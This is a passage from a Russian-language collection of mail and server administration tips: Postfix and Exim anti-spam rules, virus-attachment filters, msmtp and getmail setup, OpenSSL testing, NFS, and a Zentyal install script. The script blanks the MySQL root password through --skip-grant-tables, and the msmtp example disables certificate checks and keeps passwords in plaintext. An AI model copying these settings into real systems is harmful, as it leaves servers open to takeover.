    В этом случае нам нужно , чтобы почта ходила только внутри некоего домена - mydomain.ru.
    
    Делаем следующее. В main.cf:
       smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access, reject
    В файле access:
       #здесь перечисляем домен(ы) для которых почта разрешена почта
       mydomain.ru  OK
    Затем 
       postmap access
       postfix reload
    Теперь будет приниматься почта только для тех, у кого в поле MAIL FROM стоит mydomain.ru. 
    Для всех остальных - генериться код "Acces denied".
    
     
    ----* Проверка наличия пользователя на этапе соединения в Postfix (2 способ)   Автор: Косенков Игорь  [комментарии]
     
    2 способ позволяет среди всех пользователей в системе
     отобрать тех, которым ДЕЙСТВИТЕЛЬНО нужна почта.
    В main.cf:
            local_recipient_maps = hash:/etc/postfix/users
    Сюда же можно добавить $alias_maps.
    
    В /etc/postfix/users заносим всех пользователей, для которых надо принимать почту:
       user1 здесь_что-нибудь
       user2 здесь_что-нибудь
    "здесь_что-нибудь" - это набор все равно каких символов, чтобы выполнилась команда postmap.
    
    Затем postmap /etc/postfix/users. И, конечно, postfix reload.
    
    Теперь почта будет приниматься только для пользователей из файла users.
    Для остальных  будет генериться "User unknown in local recipient table" на этапе соединения. 
    
     
    ----* Подключение RBL и списков блокировки в Postfix 2   Автор: awk  [комментарии]
     
    smtpd_client_restrictions = ...
                  reject_rbl_client list.dsbl.org
                  check_recipient_access hash:/etc/postfix/skipcheck,
                  reject_unknown_client
    Предпоследняя строка позволяет разрешить получение почты для некоторых
    получателей с unknown адресов.
    только для этого необходимо указать в конфиге smtpd_delay_reject=yes
    
    тогда даже на этапе HELO можно указывать исключения на основе адреса получателя:
    smtpd_helo_restrictions = permit_mynetworks,
                           reject_invalid_hostname,
                           reject_non_fqdn_hostname,
                           check_recipient_access hash:/etc/postfix/skipcheck,
                           reject_unknown_hostname
    
     
    ----* Фильтры в Postfix для копирования исходящей почты (доп. ссылка 1)   Автор: Косенков Игорь  [комментарии]
     
    1. В master.cf добавить строку:
        backup unix - n n - - pipe flags=R user=postfix argv=/etc/postfix/script ${sender} ${recipient}
    2. В /etc/postfix/script должно быть:
        #!/bin/bash
        /usr/sbin/sendmail -f $1 $2 backup@mydomain.ru
    3.Добавить в main.cf:
        smtpd_sender_restrictions = что там есть, hash:/etc/postfix/smtpd.sender
    4. Создать файлик /etc/postfix/smtpd.sender такого вида (потом сделать postmap smtpd.sender):
        user@mydomain.ru FILTER backup:
    
     
    ----* Простые и эффективные regex для блокирования спама по имени домена   [комментарии]
     
    /^dsl.*\..*\..*/i       553 AUTO_DSL spam
    /[ax]dsl.*\..*\..*/i    553 AUTO_XDSL spam
    /client.*\..*\..*/i     553 AUTO_CLIENT spam
    /cable.*\..*\..*/i      553 AUTO_CABLE spam
    /pool.*\..*\..*/i       553 AUTO_POOL spam
    /dial.*\..*\..*/i       553 AUTO_DIAL spam
    /ppp.*\..*\..*/i        553 AUTO_PPP spam
    /dslam.*\..*\..*/i      553 AUTO_DSLAM spam
    /node.*\..*\..*/i       553 AUTO_NODE spam
    
    Подключение для Postfix: в main.cf, к smtpd_client_restrictions списку добавить regexp:путь
    
     
    ----* Как в Exim отфильтровать спам по базе открытых релеев.   Автор: dawnshade  [обсудить]
     
    После строки "require verify = sender"
       deny    message       = Access denied - $sender_host_address listed by $dnslist_domain\n$dnslist_text
               dnslists      = dnsbl.sorbs.net
       deny    message       = message from $sender_host_address rejected - see http://njabl.org/
               dnslists      = dnsbl.njabl.org
       deny    message       = rejected because $sender_host_address for bad WHOIS info, see http://www.rfc-ignorant.org/
               dnslists      = ipwhois.rfc-ignorant.org
       deny    message       = rejected because $sender_host_address is in a black list at $dnslist_domain\n$dnslist_text
               dnslists      = dialups.mail-abuse.org
       deny    message       = rejected because $sender_host_address is in a black list at $dnslist_domain\n$dnslist_text
               dnslists      = list.dsbl.org
       deny    message       = Spam blocked see: http://www.spamcop.net/w3m?action=checkblock&ip=$sender_host_address
               dnslists      = bl.spamcop.net
       deny    message       = rejected because $sender_host_address is in a black list at $dnslist_domain\n$dnslist_text
               dnslists      = relays.ordb.org
       deny    message       = rejected, $sender_host_address Open Proxy, see: $dnslist_domain\n$dnslist_text
               dnslists      = dnsbl.void.ru
    
     
    ----* Как отфильтровать в postfix ALC спам   Автор: Antony  [комментарии]
     
    Postfix:
        body_checks = regexp:/etc/postfix/body_checks
    
    Пример для "AMER ICAN  LA NGUAGE CENTER" 
    /etc/postfix/body_checks:
    ~^[[:alnum:]+/]{60,}[[:space:]]*$~     OK
    /.*A.*M.*E.*R.*I.*C.*A.*N.*L.*A.*N.*G.*U.*A.*G.*E.*C.*E.*N.*T.*E.*R.*/     REJECT Body Spam Rule NN
    
     
    ----* Как отфильтровать спам по базе открытых релеев.   [комментарии]
     
    Postfix:
        maps_rbl_domains = work.drbl.caravan.ru, dul.ru, relays.ordb.org
        maps_rbl_reject_code = 550
        smtpd_client_restrictions = reject_maps_rbl
    Sendmail (в sendmail.mc):
        FEATURE('dnsbl', 'dul.ru', 'Use mail relays of your ISP')dnl
        FEATURE('dnsbl', 'work.drbl.caravan.ru', `Use mail relays of your ISP')dnl
        FEATURE('dnsbl', 'relays.ordb.org', 'Spam bloked from open relay.')dnl
    Ссылки: http://www.drbl.ofisp.org/zones.html , http://www.dul.ru/ ,  http://ordb.org/faq/
    
     
    ----* Где взять примеры написания фильтров к MTA для блокирования вирусов.   [комментарии]
     
    Exim: ftp://ftp.exim.org/pub/filter/
    Подключается через: message_filter = /etc/exim/system_filter.exim
    Procmail: ftp://ftp.rubyriver.com/pub/jhardin/antispam/html-trap.procmail
    Postfix: http://www.mrbill.net/postfix/
             http://www.opennet.dev/base/net/postfix_filter.txt.html
    
     
    ----* Как через procmail блокировать спам.   [обсудить]
     
    Вот пример моего .procmailrc, фильтует наиболее примитивные попытки спэма:
            :0
            * ^To: undisclosed-recipients
            /home/mc/Mail/Trash
            :0
            * !^To: .*@
            /home/mc/Mail/Trash
            :0
            * ^X-Mailer:.*Advanced Mass
            /home/mc/Mail/Trash
            :0
            * ^Content-Type.*indows-1251
            /home/mc/Mail/Trash
            :0
            * ^Content-Disposition: attachment;  filename=.*\.(pif|bat|com|exe|lnk)
            /home/mc/Mail/Trash
    
     
    ----* Как вырезать вирусы из письма используя Postfix   [обсудить]
     
    /etc/postfix/main.cf:
    body_checks = regexp:/etc/postfix/body_checks
    header_checks = regexp:/etc/postfix/header_checks
    /etc/postfix/body_checks:
    # Вырезаем EXE файлы.
    # в скобках [     ] - один пробел и один символ табуляции.
    /^[     ]*name=.*\.(exe|dll|eml|vbs|pif|com|bat|scr|lnk)\"?$/           REJECT
    /\<iframe src=cid\:.* height=0 width=0\>/i      REJECT
    /^Content-Disposition: attachment; *filename=.*\.(exe|dll|eml|vbs|pif|com|bat|scr|lnk).*/i   REJECT
    /etc/postfix/header_checks:
    # Sircam
    /^Content-Type:multipart.*"----[A-F0-9]+_Outlook_Express_message_boundary"/i    
    # Nimbda
    /^X-Unsent: 1/  REJECT
    /^X-Mailer: Advanced Mass Sender/       REJECT                                 
    /^X-Mailer: Mail Bomber/        REJECT                                      
    /^X-Mailer: .*\-VC_IPA \[/      REJECT
    
     

       Отправка и пересылка сообщений на уровне пользователя

    ----* Настройка maildrop для автоматической подписки на багрепорты на bugs.debian.org   Автор: Alexander Galanin  [обсудить]
     
    К сожалению, на bugs.debian.org функция автоматической подписки на отправленные
    багрепорты не реализована. Также процесс подписки требует отправки письма и
    подтверждения, поэтому возникло желание это дело автоматизоровать.
    
    С использованием maildrop у меня получилось нижеприведённое. В случае, если
    письмо ни под одно из правил не подходит, оно будет помещено в maildir-каталог
    "bugs", информация о проведённых действиях добавляется в лог maildrop-а.
    
    Подписываемся на отправленный багрепорт:
    
       if (/^To: .*<submit@bugs.debian.org>/ && /^Subject: Bug#[0-9]+/)
       {
           /^X-Debian-PR-Message: report ([0-9]+)/
           bug = $MATCH1
           if ($bug ne "")
           {
               # subscription
               mail = $bug-subscribe@bugs.debian.org
               cc "| echo | mailx $mail"
               log "Debbugs: Subscribed to $bug"
           }
           to $DEFAULT/.bugs
       }
    
    Подтверждение подписки и игнорирование письма об удачном завершении подписки:
    
       if (/^From: ([0-9]+)-subhelp@bugs.debian.org$/)
       {
           bug = $MATCH1
           if (/^Subject: Please confirm subscription/)
           {
               /^Reply-To: .*/
               mail = getaddr($MATCH)
               if ($mail ne "")
               {
                   cc "| echo | mailx $mail"
                   log "Debbugs: Confirmed subscription to $bug"
                   to /dev/null
               }
           }
           if (/^Subject: Subscription to [0-9]+@bugs.debian.org successful/)
           {
               log "Debbugs: Subscription to $bug successful"
               to /dev/null
           }
           # fallback rule
           to $DEFAULT/.bugs
       }
    
     
    ----* Настройка msmtp для отправки уведомлений администратору по E-Mail (доп. ссылка 1) (доп. ссылка 2)   Автор: Netc & PavelR  [комментарии]
     
    Системные демоны устанавливаемые на Linux-машинах как правило уведомляют
    пользователя root о важных событиях происходящих на сервере использую командный
    интерфейс sendmail или mail.
    
    Для того, чтобы системные демоны отправляли почту не на локально настроенный
    MTA пользователю root@localhost или root@servername а другой адрес email для
    этого можно:
    
    1. Настроить на использование smarthost локальный mta идущий в стандартной
    установке ОС, например для Debian это Exim, для Ubuntu - Postfix. Но при этом
    сам smarthost не должен отбрасывать от вашего сервера почту, что не всегда возможно!
    
    2. Использовать что-то еще ...
    
    3. Использовать msmtp
    
    ВАЖНО! Многие smtp требуют чтобы поле "From:" было равно тому, под кем серверу
    представляется MUA. В достижении этого нам поможет msmtp - мощный почтовый
    консольный клиент (MUA) с интерфейсом sendmail.
    
    Одно из очень необходимых качеств которого является умение заменять Отправителя
    на Отправителя указанного в конфигурации /etc/msmtprc
    
    Поэтому его очень легко использовать в качестве MUA отправляющего почту
    администратору сервера через SMTP популярных почтовых провайдеров, например
    smtp.yandex.ru, smtp.google.ru и т.д.
    
    Для достижения поставленной цели на Debian based системах необходимо выполнить следующие шаги :
    
    1. Устанавливаем msmtp 
    
       aptitude -R -y install msmtp 
    
    2. Редактируем /etc/msmtprc
    
       defaults
    
       account default
       host smtp.yandex.ru
       port 25
       auth on
       tls on
       tls_starttls on
       tls_certcheck off
       user user@example.com
       password adminplaintextpassword
       from admin@example.com
       logfile msmtp.log
    
    Параметр tls_certcheck off используется для упрощения статьи, в дальнейшем
    можно будет его включить, но при этом необходимо будет произвести определенные
    действия с сертификатами удаленного сервера и их размещении на вашем клиенте.
    Что усложняет процесс настройки.
    
    3. Делаем символическую ссылку, чтобы программы использующие стандартный
    интерфейс файла sendmail, использовали при этом msmtp. а не например
    установленный exim, postfix, nullmailer и т.д.
    
    Для Debian/Ubuntu:
    
      update-alternatives --install /usr/sbin/sendmail sendmail /usr/bin/msmtp 10
    
    Для остальных систем смыл действия сводится к использованию аналогичных средств
    для замены симлинка (ln -s /usr/bin/msmtp /usr/sbin/sendmail).
    
    4. Проверяем отправку стандартным способом через команду sendmail или mail
    
    5. Настраиваем, например, mdadm, smartd через указание в конфигах нужного email администратора.
    
    Примечание: в mdadm.conf можно указать только один email
    
    Проверить отправку почты mdadm можно командой:
    
       mdadm --monitor --scan --test --oneshot
    
    Проверить отправку почты smartd можно отредактировав /etc/smartd.conf
    обязательно добавив параметры "-m admin@example.com" и "-M test" в строку
    конфигурации, например:
    
       DEVICESCAN ... -m admin@tech-club.ru -M test ...
    
    DEVICESCAN - для всех устройств в системе.
    
    и выполнив перезапуск smartd 
    
       invoke-rc.d smartmontools restart
    
     
    ----* Использование OpenSSL для тестирования POP3, IMAP, SMTP, WEB сервера с TLS/SSL/SASL  (доп. ссылка 1)   [комментарии]
     
    Для тестирования работы  TLS/SSL на POP3 сервере можно использовать входящий в
    состав OpenSSL клиент s_client (для тестирования SSL-клиентов по аналогии можно
    использовать s_server):
    
       openssl s_client -connect имя_хоста:995
    
    после чего можно сэмулировать типичную POP3-сессию:
    
       +OK Dovecot ready.
    
       user логин
       +OK
    
       pass пароль
       +OK Logged in.
    
    выводим список сообщений на сервере и их размер:
    
       list
       +OK 2 messages:
       1 1759
       2 12422
    
    читаем первое сообщение:
    
       retr 1
       +OK 1759 octets
       заголовки и текст 
    
    Тестирование IMAP проводится в соответствии с теми же принципами:
    
       openssl s_client -connect imap_хост:993
    
       CONNECTED(00000003)
       ....
       * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE AUTH=PLAIN AUTH=LOGIN] Dovecot ready.
    
       login логин пароль
       a001 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR ... CONTEXT=SEARCH LIST-STATUS QUOTA] Logged in
    
    выводим список папок:
    
       a002 list "" "*"
       * LIST (\HasChildren) "." "INBOX"
       * LIST (\HasNoChildren) "." "INBOX.INBOX_Trash"
       * LIST (\HasNoChildren) "." "INBOX.Trash"
       * LIST (\HasNoChildren) "." "INBOX.read"
       * LIST (\HasNoChildren) "." "INBOX.Queue"
       * LIST (\HasNoChildren) "." "INBOX.INBOX_Drafts"
    
    посмотрим содержимое папки Inbox:
    
       a003 examine inbox
       * FLAGS (\Answered \Flagged \Deleted \Seen \Draft Junk NonJunk)
       * OK [PERMANENTFLAGS ()] Read-only mailbox.
       * 10 EXISTS
       * 0 RECENT
       * OK [UNSEEN 1] First unseen.
       * OK [UIDVALIDITY 1291459647] UIDs valid
       * OK [UIDNEXT 8026] Predicted next UID
       * OK [HIGHESTMODSEQ 2710] Highest
       a003 OK [READ-ONLY] Select completed.
    
    В папке 10 сообщений, выведем содержимое текста четвертого сообщения, без заголовков:
    
       a004 4 rfc822.text
       * 4 FETCH (RFC822.TEXT {857}
       текст
       a005 OK Fetch completed.
    
    выходим
    
       a005 logout
       * BYE Logging out
       a005 OK Logout completed.
    
    
    Тестируем сайт по SHTTP:
    
       openssl s_client -connect www.test.com:443
    
       GET / HTTP/1.1
       Host: test.com
    
    
    Проверяем SASL-аутентификацию при отправке почты:
    
       openssl s_client -connect smtp_хост:25 -starttls smtp
    
       220 mail.test.com ESMTP Postfix
       EHLO test.test.com
    
       250-mail.test.com
       250-PIPELINING
       250-SIZE 10240000
       250-ETRN
       250-AUTH DIGEST-MD5 PLAIN CRAM-MD5
       250 8BITMIME
       AUTH PLAIN пароль_в_base64_нотации
    
       235 Authentication successful
    
    Перекодировать файл с паролем  в base64-представление можно командой:
    
       openssl enc -base64 -in file.txt -out mfile.b64
    
    декодировать:
    
       openssl enc -d -base64 -in file.b64 -out file.txt
    
    
    Другие полезные команды:
    
    Шифруем файл симметричным шифром blowfish (если необходимо сохранение в
    base64-представлении добавляем опцию "-a"):
    
       openssl enc -e -salt -bf -in file.txt -out file.blowfish
       enter bf-cbc encryption password: пароль
    
    расшифровываем:
    
       openssl enc -d -bf -in file.blowfish -out file.txt
       enter bf-cbc decryption password: пароль
    
    Рассчитываем SHA1-хэш для файла:
    
       openssl dgst -sha1 -c file.txt
       SHA1(test.txt)= 15:85:f1:af:a7:ca:1c:1c:5a:8b:c3:a7:1e:7f:4b:bd:3c:d4:22:ca
    
    
    Для перехвата и расшифровки SSL/TLS трафика в отладочных целях можно использовать утилиту ssldump:
    
    наблюдение за активностью внутри SSL-сессии:
    
       ssldump -a -A -H -i eth0
    
    со служебными данными для полной отладки SSL-сессии:
    
       ssldump -a -A -H -k server.pem -i eth0
    
    для расшифровки содержимого сессии:
    
       ssldump -d -k server.pem -i eth0
    
    Для успешной расшифровки SSL-сессия должна быть перехвачена с самого начала,
    включая момент обмена ключами на стадии инициирования сессии.
    
     
    ----* Резервное копирование почтового ящика Gmail в Linux   [комментарии]
     
    Вариант 1. GUI интерфейс.
    
    Загружаем с сайта http://www.gmail-backup.com/download программу gmail-backup.
    
    Убедимся, что в системе установлен Python 2.5, библиотеки wxWidgets и модуль wxPython 
    (в Debian/Ubuntu пакеты python2.5 python-wxversion).
    
    Активируем "Включить IMAP" в настройках Gmail доступ через IMAP
    (Settings / Forwarding and POP/IMAP или Настройки / Пересылка и POP/IMAP).
    
    Для начала резервного копирования запускаем GUI интерфейс и вводим необходимые параметры аккаунта:
    
       ./gmail-backup-gui.sh
    
    Автоматизировать загрузку резервных копий можно через поставляемый в комплекте
    с gmail-backup скрипт:
    
       ./gmail-backup.sh backup имя_папки user@gmail.com пароль
    
    Для выборочного бэкапа нужно использовать:
    
       ./gmail-backup.sh backup dir user@gmail.com password 20070621 20080101
    
    Для восстановления данных:
    
       ./gmail-backup.sh restore dir user@gmail.com password
    
    Для копирования только новых данных, накопившихся с момента прошлого бэкапа:
    
       ./gmail-backup.sh backup dir user@gmail.com password --stamp
    
    Как видно у скрипта имеется существенная проблема - необходимость указания
    пароля прямо в командной строке,
    что с точки зрения безопасности неприемлимо. Исправить ситуацию не получается,
    пакет распространяется только в бинарном виде.
    
    Вариант 2. Использование пакета getmail:
    
    Ставим getmail (http://pyropus.ca/software/getmail/):
    
       sudo apt-get install getmail4
    
    Создаем 2 директории: .getmail для хранения настроек и директорию gmail-archive
    для хранения бэкапа.
       
       mkdir ~/.getmail
       mkdir ~/gmail-backup
    
    Создаем файл конфигурации ~/.getmail/getmail.gmail:
    
        [retriever]
        type = SimpleIMAPSSLRetriever
        server = imap.gmail.com
        username = user@gmail.com
        password = password
    
        [destination]
        type = Maildir
        path = ~/gmail-backup/ 
        
        # Если вместо maildir нужно использовать формат mbox:
        # type = Mboxrd
        # path = ~/gmail-backup/gmail.mbox
    
        [options]
        verbose = 2
        message_log = ~/.getmail/gmail.log 
    
    Запускаем копирование писем:
    
       getmail -r ~/.getmail/getmail.gmail
    
     
    ----* Отправка gmail почти через msmtp (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    Проблема. Хожу я с ноутбуком по разным местам. Разные провайдеры. Разные настройки. 
    Необходимо с ноутбука доставлять почту для мира. Ноутбук работает под FreeBSD.
    Как решить проблему?
    Ответ очень простой. Нужно установить пакет msmtp. Он занимается доставкой
    почты от клиента к серверу.
    Правильно назвать это будет MDA - Mail Delivery Agent. У меня есть почта в системе google. 
    Собственно через smtp gmail я и буду делать доставку. Сначала необходимо
    установить msmtp. Вот файл настроек:
    
       $ cat .msmtprc
       account default host smtp.gmail.com port 587
       protocol smtp auth on from mylogin@gmail.com user mylogin@gmail.com
       password пароль tls on tls_starttls on 
    
     
    ----* Как прикрепить 48x48 иконку к письму (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Содержимое черно-белой 48x48 иконки передается через заголовк X-Face, цветной - Face 
    (PNG картинка, размером после base64 кодирования не больше 998 байт, разбивка
    по 79 символов в строке).
    
    Скрипт для преобразования Jpeg в "Face:"
    
    #!/bin/bash
    
    jpg=$1
    png=$2
    
    if [ "$jpg" = "" -o "$png" = "" ]; then
       echo "Usage: make-face <JPG-FILE> <BASE64-FILE>"
       exit
    fi
    
    quant=16
    found=false
    tmp=/tmp/make-face.$$.tmp
    
    while [ "$found" = "false" ]; do
        echo -n "Trying quantization $quant ($jpg)..."
        djpeg "$jpg"\
    	| ppmnorm\
    	| pnmscale -width 48 -height 48\
    	| ppmquant $quant\
    	| pnmtopng\
    	| mimencode > $tmp
        size=`ls -l $tmp | awk '{ print $5; }'`
        if [ $size -lt 993 ]; then
    	echo -n "Face:" > "$png"
    	for i in `cat $tmp`; do
    	    echo -n " " >> "$png"
    	    echo "$i" >> "$png"
    	done
    	rm $tmp
    	found=true
    	echo "done"
        else
    	quant=`expr $quant - 2`
    	echo "too big ($size)"
        fi
    done
    
        
    
     
    ----* Как послать письмо с аттачем из shell (доп. ссылка 1)   Автор: Vadim Fedorov  [комментарии]
     
    metasend -b -s "$SUBJECT" -f $TXTFILE -m text/plain -e none -n \
             -f $ATTFILE -m application/octet-stream -e base64 -t $MAILTO
      
    mpack -s "$SUBJECT" -c application/octet-stream $ATTFILE $MAILTO
     
    mutt -a $ATTFILE -s "$SUBJECT" $MAILTO < $TXTFILE
    
     
    ----* Как из командной строки послать письмо с приаттаченным файлом   [обсудить]
     
    metasend
    В зависимости от типа файла, в качестве Content-type пишем:
    application/gzip
    application/zip
    application/postscript
    image/jpeg
    image/png
    audio/basic
    audio/mpeg3
    audio/wav
    
     
    ----* Как отправить все сообщения из mailbox на другой email   [комментарии]
     
    cat /var/spool/mail/user_name | formail -s sendmail some@email
    
    Во FreeBSD утилита formail идет в комплекте с портом procmail
    
     
    ----* Уведомления о свежей почте в conky, dzen и xmobar   Автор: Andrey Bortnik  [комментарии]
     
    Ниже описан способ отображения в conky, dzen, xmobar и т.п. уведомления о
    наличии свежей почты в maildir.
    
    Преимущества данного способа: 
    1) он выдержан в стиле unix way, 
    2) не требует обращаться к жёсткому диску чаще, чем это необходимо.
    
    Описание относится к Arch Linux, но процедура достаточно проста, чтобы легко
    перенести её на любую систему с достаточно свежим ядром Linux.
    
    Идея в том, что появление свежей почты отслеживается посредством incron; при
    появлении нового сообщения вызывается скрипт mailstat.sh (см. ниже), который
    считает новые сообщения в maildir, наблюдаемых incron-ом, формирует
    текст-уведомление для пользователя и выдаёт это сообщение в именованный канал.
    Со своей стороны, к примеру, conky читает из того же именованного канала и
    отображает сообщение. Скрипт пишет в канал многократно, в бесконечном цикле,
    чтобы сообщение не пропадало из conky; при запуске очередного экземпляра
    скрипта он прибивает все предыдущие.
    
    Итак, предположим, у нас Arch Linux с пользователем moses и его maildir-ами
    /home/moses/Mail/work, /home/moses/Mail/club, куда периодически скачивается
    почта с POP3-сервера. moses хочет узнавать о наличии свежей почты как можно
    скорее, но не хочет поминутно лазить в почтовый клиент - он предпочёл бы видеть
    уведомления на панели xmobar.
    Вообще говоря, maildir-ов может быть больше, но moses хочет видеть уведомления только об этих. 
    
    Устанавливаем incron.
    
       > sudo pacman -S incron
    
    Разрешаем moses-у использовать incron.
    
       > sudo vim /etc/incron.allow
       moses
    
    Создаём скрипт mailstat.sh.
    
    vim ~/scripts/mailstat.sh
    
    #!/bin/bash
    TARGET=/tmp/mailstat
    IT=mailstat
    # определяем отслеживаемые  maildir-ы
    DIRS=`incrontab -l | grep $IT | awk '{print $1;}' | sort -u`
    # подсчитываем свежие  сообщения в  maildir-ах
    T=""
    for d in $DIRS
    do
       c=`find $d -type f | wc -l`
       if [[ $c -gt 0 ]]; then
          T=$T`echo $d | sed -e 's/\/new$//' | sed -e 's/^.*\///'`": "$c" "
       fi
    done
    # прибиваем ранее  запущенные экземпляры  скрипта
    PIDS=`ps -eo pid,comm | grep $IT | grep -v $$ | awk '{print $1;}'`
    for p in $PIDS
    do
       if [[ $p != $$ ]]; then
          kill -9 $p 2>/dev/null
       fi
    done
    # создаём именованный  канал
    if [ ! -e $TARGET ]; then
       mkfifo $TARGET
    fi
    # пишем сообщение  в канал
    while true ; do
       echo $T > $TARGET
    done
    
    
    Запускаем incron.
    
       > sudo /etc/rc.d/incrond start
    
    Настраиваем incron.
    
       > incrontab -e
       /home/moses/Mail/work/new IN_CREATE,IN_DELETE,IN_MOVED_FROM /home/moses/scripts/mailstat.sh
       /home/moses/Mail/club/new IN_CREATE,IN_DELETE,IN_MOVED_FROM /home/moses/scripts/mailstat.sh
    
    Убеждаемся, что изменения возымели действие.
    
       > incrontab -l
    
    Передёргиваем incron.
    
       > incrontab -d
    
    Настраиваем xmobar для отображения уведомлений.
    
       > vim ~/.xmobarrc
       Config { font = "-xos4-terminus-medium-r-normal--12-120-72-72-c-60-*-*"
              , bgColor = "black"
              , fgColor = "grey"
              , position = Top
              , lowerOnStart = True
              , commands = [ Run Com "timeout" ["1  tail -n  1 /tmp/mailstat"] "mail" 5
                           , Run StdinReader
                           ]
              , sepChar = "%"
              , alignSep = "}{"
              , template = "%StdinReader%}{ <fc=#ee9a00>%mail%</fc>"
              }
    
    Настраиваем автозапуск incron.
    
       > sudo vim /etc/rc.conf
       DAEMONS=(@metalog network @crond @incrond)
    
     

       NFS

    ----* Настройка NFS сервера и NFS клиента под FreeBSD и Linux   [комментарии]
     
    NFS сервер (FreeBSD):
    
    /etc/rc.conf:
    
        portmap_enable="YES"
        nfs_server_enable="YES"
        nfs_reserved_port_only="YES"
    
    /etc/exports (man exports):
        /usr/local/nfs -rw 192.168.1.2
        /usr/local/nfs -ro -mapall=nobody -network 192.168.1 -mask 255.255.255.0
        /cdrom -alldirs,quiet,ro -network 192.168.33.0 -mask 255.255.255.0
    
    Для Linux /etc/exports будет выглядеть примерно так (запуск - service start portmap и nfs):
    
        /usr/local/nfs  192.168.1.0/255.255.255.0(ro) 192.168.2.1(rw)
    
    NFS клиент:
    
    /etc/rc.conf: 
       portmap_enable="YES", nfs_client_enable="YES"
    
    /etc/fstab:
        192.168.1.1:/usr/local/nfs          /home/nfs   nfs ro  0   0
    
    или вручную:
       /sbin/mount_nfs -r 32768 -w 32768 -i noatime 192.168.1.1:/usr/local/nfs /home/nfs 
    
    Для оптимизации производительности рекомендуется при монтировании в Linux указывать параметры:
       rsize=32768,wsize=32768,intr,noatime
    
    Число запущенных клиентов и серверов под FreeBSD регулируется 
    через параметр "-n" в переменных rc.conf: nfs_client_flags и nfs_server_flags
    
    В некоторых Linux дистрибутивах число серверов задается в файле /etc/sysconfig/nfs, 
    переменная NFSDCOUNT, значение которой передается как аргумент при запуске rpc.nfsd.
    
     

       Samba

    ----* Ubuntu как сервер Zentyal + MyDLP + Webmin + SAMS2   Автор: Валерий  [комментарии]
     
    Скрипт для автоматизации установки и запуска связки Zentyal + MyDLP + Webmin +
    SAMS2 в Ubuntu Linux. Скрипт запускается с правами root и рассчитан на работу в
    Ubuntu 12.04. Для других систем скрипт может использоваться как заметка о том,
    что не забыть при установке.
    
       #!/bin/sh
       # INSTALL SCRIPT PROXY ALLURGROUP
       export DEBIAN_FRONTEND=noninteractive
    
       echo "INSTALL DLP COMPLETE"
       wget -q http://keys.zentyal.org/zentyal-3.2-archive.asc -O- | apt-key add -
       apt-get install -y -q python-software-properties
       add-apt-repository -y ppa:zentyal/3.2
       apt-get update
       DEBIAN_FRONTEND=noninteractive apt-get -y -q  install zentyal
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install language-pack-zentyal-ru
       echo "ZENTYAL INSTALL COMPLETE PLEASE GO TO HTTPS://IP:4443"
    
    
       sed 's/443/4443/' /var/lib/zentyal/conf/nginx.conf > /var/lib/zentyal/conf/nginx.conf.new &
       sleep 5
       mv /var/lib/zentyal/conf/nginx.conf.new /var/lib/zentyal/conf/nginx.conf
       sleep 5
       killall nginx
       netstat -an | grep 443
    
       echo "use mysql;" > proxy.sql
       echo 'update user set password=PASSWORD("")' "where User='root';" >> proxy.sql
       echo "flush privileges;" >> proxy.sql
       echo "quit" >> proxy.sql
    
       /etc/init.d/mysql stop &
       sleep 5
       mysqld_safe --skip-grant-tables &
       sleep 5
       mysql -u root < proxy.sql &
       sleep 5
       /etc/init.d/mysql stop &
       sleep 5
       /etc/init.d/mysql start &
       sleep 5
    
    
    
       echo "deb ftp://ftp.linux.org.tr/mydlp/ubuntu precise main" >> /etc/apt/sources.list
       apt-get update
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install mydlp mydlp-appliance
    
    
       echo 'LANG=ru_RU.UTF-8' >   /etc/default/locale
       echo 'LANGUAGE=ru_RU.UTF-8' >> /etc/default/locale
       echo 'LC_CTYPE="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_NUMERIC="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_TIME="ru_RU.UTF-8"' >> /etc/default/locale  
       echo 'LC_COLLATE="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_MONETARY="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_MESSAGES="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_PAPER="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_NAME="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_ADDRESS="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_TELEPHONE="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_MEASUREMENT="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_IDENTIFICATION="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_ALL=ru_RU.UTF-8' >> /etc/default/locale
    
    
    
       echo "deb http://download.webmin.com/download/repository sarge contrib" >> /etc/apt/sources.list	
    
       wget http://www.webmin.com/jcameron-key.asc
       apt-key add jcameron-key.asc
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes update
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install webmin
    
    
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install make g++ libtool build-essential autoconf automake ssl-cert \\
          libmysqlclient-dev libpcre3 libpcre3-dev php5 php5-cli php5-common php5-dev php5-mcrypt \\
          php5-imagick php5-mysql php5-gd php5-ldap php-fpdf libapache2-mod-php5 libldap2-dev
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install krb5-user krb5-config libkrb53 krb5-locales libgssapi-krb5-2
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install samba samba-common winbind
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install ntp
       sed 's/0.ubuntu.pool.ntp.org/192.168.10.10/g;s/1.ubuntu.pool.ntp.org/192.168.10.12/g;s/2.ubuntu.pool.ntp.org/192.168.12.10/g;s/3.ubuntu.pool.ntp.org/192.168.12.11/g' /etc/ntp.conf > /etc/ntp.conf.new &
       sleep 5
       mv /etc/ntp.conf.new /etc/ntp.conf &
       sleep 5
       /etc/init.d/ntp restart &
       sleep 5
    
       echo '[global]' >   /etc/samba/smb.conf
       echo 'dos charset = 866' >> /etc/samba/smb.conf
       echo 'unix charset = UTF-8' >> /etc/samba/smb.conf
       echo 'display charset = CP1251' >> /etc/samba/smb.conf
